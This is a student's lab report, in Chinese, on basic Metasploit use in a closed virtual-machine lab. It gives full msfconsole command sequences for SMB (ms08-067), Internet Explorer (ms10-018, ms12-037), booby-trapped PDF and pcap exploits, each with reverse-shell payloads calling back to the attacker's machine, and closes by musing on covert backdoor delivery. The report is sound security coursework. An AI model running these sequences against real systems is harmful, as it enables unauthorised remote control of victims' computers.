2019-2020-2 网络对抗技术 20175209 Exp6 MFS基础应用
一、实验原理与实验内容
1. 实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,如ms08_067;
- 一个针对浏览器的攻击,如ms11_050;
- 一个针对客户端的攻击,如Adobe;
- 成功应用任何一个辅助模块。
2. 实验原理
-
MSF攻击方法
- 主动攻击:扫描主机漏洞
- 攻击浏览器
- 供给客户端
-
六个模块
- 渗透攻击模块
Exploit
:- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 辅助模块
Auxiliary
:- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
- 攻击载荷
Payload
:- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种
payload
:Single,Stager,Stages
- 空字段模块
Nop
:- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
- 编码模块
Encoders
:- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征
- 针对
- 后渗透攻击模块
Post
:- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 渗透攻击模块
-
MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- 启动服务器
- webgui
- msfconsole
3. 基础问题回答
- 用自己的话解释什么 是exploit,payload,encode.
- exploit既可以看成是运载恶意代码的载体,也可以理解成利用漏洞进行攻击的通道
- payload:载荷是攻击的具体武器,每次都要进行设置,有些攻击需要匹配特定的payload,如后门等
- encode用来编码,用于伪装,还可以想上课讲的那样消除坏字符。
二、实验步骤
在实验开始之前,首先要保证两台虚拟机之间可以互相ping通(由于实验中涉及到了多台windows虚拟机,所以放上了一张截图)
-
kali ping XP:
-
XP ping kali:
1. 一个主动攻击的实践
ms08-067(成功,不唯一)
攻击机:kali
192.168.1.104
靶机:Windows XP 英文版192.168.1.105
-
攻击机使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.105
探测靶机是否存在该漏洞
-
启动msf控制台
msfconsole
-
search ms08-067
查看漏洞的渗透模块
-
use exploit/windows/smb/ms08_067_netapi
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
show options
可以查看到进行攻击需要设置的参数,Required
的列表下标记为yes
的为必须设置的项
-
设置攻击机IP和靶机IP
set LHOST 192.168.1.104
set RHOST 192.168.1.105
exploit
进行攻击- 验证连接结果,例如
ipconfig /all
命令
ms17-010(失败)
攻击机:kali
192.168.1.104
靶机:Windows XP 英文版/中文版192.168.1.105
Windows7192.168.1.105
(由于是桥接模式并且实验是分两天做的,所以也出现了ip地址相同的情况)
-
攻击机使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.105
探测靶机是否存在该漏洞
-
search ms17-010
查看漏洞的渗透模块
-
use exploit/windows/smb/ms07_010_enternalblue
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
设置攻击机IP和靶机IP
set LHOST 192.168.1.104
set RHOST 192.168.1.105
exploit
进行攻击- 在对永恒之蓝漏洞进行攻击的时候,发现我们可以在靶机中扫描到该漏洞,但是在开始攻击后却出现了失败的情况,并且执行到
Triggering free of corrupted buffer
时,都会出现靶机自动重启的情况,然后紧接着就提示了失败,这个问题在使用XP虚拟机和Windows7虚拟机进行攻击的时候都出现了这个问题,猜测可能是这个漏洞已经进行了修复。
一个针对浏览器的攻击
ms10-018(成功,不唯一)
攻击机:kali
192.168.1.104
靶机:Windows XP 英文版192.168.1.105
-
search ms10-018
查看漏洞的渗透模块
-
use exploit/windows/browser/ms10_10-018_ie_behaviors
进入该模块 -
set payload windows/meterpreter/reverse_tcp
设置攻击的载荷 -
设置参数
set LHOST 192.168.1.104 //设置攻击机IP
set RHOST 192.168.1.105 //设置靶机IP(可以不进行设置)
set LPORT 5209 //设置攻击机端口
set SRVHOST 192.168.1.104 //设置服务器IP
exploit
生成了一个网址,我们将这个网址复制到靶机的浏览器中,然后可以在攻击机中观察到攻击成功的过程。
-
使用
sessions
指令查看安所有的会话信息 -
通过
sessions -i 1
命令进入一个会话,然后发现可以获得浏览器所在的宿主机的终端
-
可以使用一些指令进行验证,这里选择了
dir
指令,但由于结果过多就不放截图了
ms12-037(成功,唯一)
攻击机:kali
192.168.1.104
靶机:Windows XP 英文版192.168.1.105
由于要求实验的内容需要有一个和其他人都是不一样的,所以我们需要找到能够成功攻击的模块,这确实是一件不容易的事情,尝试了很多的模块都成功不了,好不容易找到恶意成功发现已经有同学做了相同的内容。真的是太困难了。花了将近两个小时的时间才找到了能够攻击成功并且没人使用的。
- 在针对浏览器进行攻击的部分,我们首先要查看浏览器漏洞去挑选一个能用的进行攻击。
- 命令
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
目录下 - 输入
ls
查看目录中的浏览器漏洞。我选择了ms12-037_same_id
实现ms12-037
-
search ms12-037
查看漏洞的渗透模块
-
use exploit/windows/browser/ms12-037_same_id
进入该模块 -
info
指令查看具体信息,Description中是对该模块的描述
-
show payloads
显示有效的攻击载荷 -
set payload windows/meterpreter/reverse_tcp
设置攻击的载荷 -
设置参数
set LHOST 192.168.1.104 //设置攻击机IP
set RHOST 192.168.1.105 //设置靶机IP(可以不进行设置)
set LPORT 5209 //设置攻击机端口
set SRVHOST 192.168.1.104 //设置服务器IP
exploit
- 使用
sessions
指令查看安所有的会话信息 - 通过
sessions -i 1
命令进入一个会话,然后发现可以获得浏览器所在的宿主机的终端
一个针对客户端的攻击
Adobe(成功,不唯一)
攻击机:kali
192.168.1.104
靶机:Windows XP 中文版192.168.1.109
-
search adobe
查询针对adobe的攻击模块
-
use exploit/windows/fileformat/adobe_cooltype_sing
进入该模块 -
show payloads
显示有效的攻击载荷
-
set payload windows/meterpreter/reverse_tcp
设置攻击的载荷 -
设置参数
set FILENAME 20175209wzh.pdf
set LHOST 192.168.1.104
set RHOST 192.168.1.109
set LPORT 5209
exploit
-
生成的文件存储到
/root/.msf4/local
路径中,需要将文件拖拽到靶机中,由于root文件夹是权限文件夹,不能直接打开,所以我们预先通过命令行将文件复制到主目录下cp /root/.msf4/local/20175209wzh.pdf /home/20175209
-
将生成的文件拖拽到靶机之中,然后
back
指令退出当前模块,进入监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.104
SET LPORT 5209
exploit
-
在靶机中打开生成的文件,在攻击机中可以看到已经获得了连接,并且能够正常运行
-
如果靶机中关闭文件,kali中会显示任务被拒绝
Wireshark(成功,可能唯一吧)
攻击机:kali
192.168.1.104
靶机:Windows XP 中文版192.168.1.105
use exploit/windows/fileformat/wireshark_packet_dect
进入该模块show payloads
显示有效的攻击载荷set payload windows/meterpreter/reverse_tcp
设置攻击的载荷- 设置参数
set FILENAME 20175209wzh.pcap
set LHOST 192.168.1.104
set RHOST 192.168.1.105
set LPORT 5209
exploit
-
将文件提取到主文件并拖拽到靶机之中,使用wireshark运行pcap文件
-
使用命令检测运行情况,确定能够稳定运行
成功应用任何一个辅助模块
sniffer嗅探器(成功,不知道会不会是惟一的)
- 首先使用
show auxiliary
查看所有的辅助模块 - 由于模块实在是太多了(大概有将近1000个)我们没办法一个一个尝试是否能成功进行,所有就选择一个以前接触过的嗅探器的模块。
use auxiliary/sniffer/psnuffle
进入嗅探器模块show options
查看需要设置的参数set RHOST 192.168.1.105
(靶机IP)run
- 接下来在靶机中启动浏览器就可以查看到嗅探器捕获的记录
三、实验中遇到的问题
Question1 ms08-067攻击成功但是会话被拒绝
-
本次实验最先使用的虚拟机是上学期在信息安全技术上老师给的Windows XPattacker虚拟机,在进行ms08-067攻击的的时候发现会话被拒绝。在
exploit/windows/smb/ms08_067_netapi
模块中使用show targets
指令查看满足要求的靶机,我们的靶机的版本是Windows XP SP3 Prefession
,在符合条件的中文版中并没有专业版的虚拟机
- 在同学博客中的链接中找到了相关虚拟机镜像文件的分享资料并尝试安装
Question2 安装Windows XP 虚拟机出现的问题
-
在安装XP虚拟机的时候出现了如图所示的问题,大致原因是镜像文件中缺少了某个驱动程序,但是使用的镜像文件其他同学也使用了,都没有遇到这样的问题。我查看了VMWare的配置文件并且尝试用安装其他的虚拟机发现都可以正常安装,虚拟机的激活码也换了好几个,但是报错。
-
最后还是让同学装好了虚拟机直接打包发给我的,本来以为安装失败的话传过来的文件也无法使用,但是出乎我的意料他可以正常使用。
Question3 在XP英文版虚拟机中出现的问题
-
安装的XP英文版的虚拟机中没有Adobe Reader,无法打开任务三中的pdf文件,因此需要自己进行下载,虚拟机的浏览器可以正常上网,但是在进入下载界面的时候却出现了页面无法访问的问题(只有最后的下载界面出现问题,其余界面都可以正常上网)
- 在主机中下载好了exe文件,在虚拟机中进行安装,但是安装过程不知道什么原因异常的缓慢
-
使用安装的Adobe Reader文件打开生成的pdf文件时,发现攻击机中的监听始终无法进行回连,以为是生成文件的过程中出现了问题,但是尝试了生成很多文件都无法回连
- 查找相关的资料后发现应该是Adobe Reader版本的问题,下载的新版本已经修复了相应的漏洞,然后想到上个学期其他的课程老师给过XP的虚拟机中有Adobe Reader,抱着好心态去试一试发现果然可以回连成功,看起来版本问题对于攻击的结果有很重要的影响
四、离实践还缺什么技术或步骤
本次实验充分体现了信息搜集在攻击包括防范漏洞攻击的重要性,因此信息的收集的重要性不言而喻。仅仅依靠实验中的这些信息搜集方法是远远不够的。
此外,结合前几次实验的内容以及曾经学习过的知识,如何能够把病毒或后门程序输送到期望的目标机中是很重要的,而不是像我们实验中只是简单地在虚拟机之间互相的拖拽文件。
还有,如果保证后门程序的正常运行且不发现是很重要的,在实验中打开pdf文件的时候虽然我们可以成功连接到靶机,但是靶机的Adobe却卡死了。我们要向顺利的运行后门程序而不被宿主机的使用者发现,对后门程序的测试和执行性检测也是很关键的。
五、实验心得体会
本次的主要实验内容是MSF的基础应用,我最头大的事情就是要安装和切换虚拟机,从因为拒绝访问的原因从中文虚拟机换成了英文版的,又因为Adobe的版本问题从英文版换成了中文版的。安装虚拟机的时候总是出现了一些别人都没有的奇怪问题。每次在等待虚拟机上总是需要很长的时间,弄得我总是想挠墙。
那么本次实验中,找到一个独特可用的模块也是耗时比较长的一项内容,但是在不断的尝试和探索中也让我对不同模块的主要内容和功能有了一些掌握,因为每次都需要去查看description中国的内容去了解不同的模块。这是这次实验我收获最大的地方。